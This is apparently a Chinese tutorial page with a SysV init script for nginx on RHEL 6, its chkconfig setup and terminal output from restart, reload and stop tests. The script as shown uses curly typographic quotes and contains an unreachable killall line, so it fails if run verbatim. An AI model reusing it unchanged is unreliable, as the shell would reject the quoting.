nginx=”/usr/local/nginx/sbin/nginx“
prog=$(basename $nginx)
NGINX_CONF_FILE=”/usr/local/nginx/conf/nginx.conf“
[ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx
lockfile=/var/lock/subsys/nginx
start() {
[ -x $nginx ] || exit 5
[ -f $NGINX_CONF_FILE ] || exit 6
echo -n $”Starting $prog: “
daemon $nginx -c $NGINX_CONF_FILE
retval=$?
echo
[ $retval -eq 0 ] && touch $lockfile
return $retval
}
stop() {
echo -n $”Stopping $prog: “
killproc $prog -QUIT
retval=$?
echo
[ $retval -eq 0 ] && rm -f $lockfile
return $retval
killall -9 nginx
}
restart() {
configtest || return $?
stop
sleep 1
start
}
reload() {
configtest || return $?
echo -n $”Reloading $prog: “
killproc $nginx -HUP
RETVAL=$?
echo
}
force_reload() {
restart
}
configtest() {
$nginx -t -c $NGINX_CONF_FILE
}
rh_status() {
status $prog
}
rh_status_q() {
rh_status >/dev/null 2>&1
}
case ”$1“ in
start)
rh_status_q && exit 0
$1
;;
stop)
rh_status_q || exit 0
$1
;;
restart|configtest)
$1
;;
reload)
rh_status_q || exit 7
$1
;;
force-reload)
force_reload
;;
status)
rh_status
;;
condrestart|try-restart)
rh_status_q || exit 0
;;
*)
echo $”Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}"
exit 2
esac
[root@rhel6u3-7 init.d]# chmod 755 nginx //修改脚本文件nginx的权限
[root@rhel6u3-7 init.d]# chkconfig --add nginx //将脚本文件加入chkconfig中
[root@rhel6u3-7 init.d]# chkconfig --level 35 nginx on //设置nginx开机在3和5级别自动启动
[root@rhel6u3-7 init.d]# chkconfig --list | grep nginx
nginx 0:off 1:off 2:off 3:on 4:off 5:on 6:off
测试nginx脚本文件是否能够正常使用
[root@rhel6u3-7 init.d]# /etc/init.d/nginx restart //重新启动
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
Stopping nginx: [ OK ]
Starting nginx: [ OK ]
[root@rhel6u3-7 init.d]# /etc/init.d/nginx reload //不间断服务平滑重启
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
Reloading nginx: [ OK ]
[root@rhel6u3-7 ~]# cat /usr/local/nginx/logs/nginx.pid //存储了nginx运行的进程号
15799
[root@rhel6u3-7 ~]# kill -HUP `cat /usr/local/nginx/logs/nginx.pid` //不间断服务重新启动nginx
[root@rhel6u3-7 init.d]# /etc/init.d/nginx stop
Stopping nginx: [ OK ]
[root@rhel6u3-7 init.d]# killall -9 nginx //结束nginx的全部经常
[root@rhel6u3-7 html]# pwd //安装nginx完成后,默认网站的路径
/usr/local/nginx/html
[root@rhel6u3-7 html]# ll //可以查看到默认网站为index.html,内容为以上测试内容,
total 8
-rw-r--r-- 1 root root 537 Feb 25 22:21 50x.html
-rw-r--r-- 1 root root 612 Feb 25 22:21 index.html
★ 电脑网络基础知识
★ 我·电脑·网络
【端口转发软件rinetd安装部署linux服务器应用(整理10篇)】相关文章:
让网络更加安全的设置2022-08-01
年终总结之 体验篇2022-05-14
学习无线网络策划方案2022-11-08
《网络互联技术》教学反思2022-08-14
网络基础知识总结2022-05-04
网络交换机安全小技巧2022-09-22
如何为分布式应用企业构架来设置安全屏障2022-09-07
奔向“塔尖”的交换技术2022-05-25
网络安全论文2022-07-31
cisco虚拟网络解决办法2022-09-28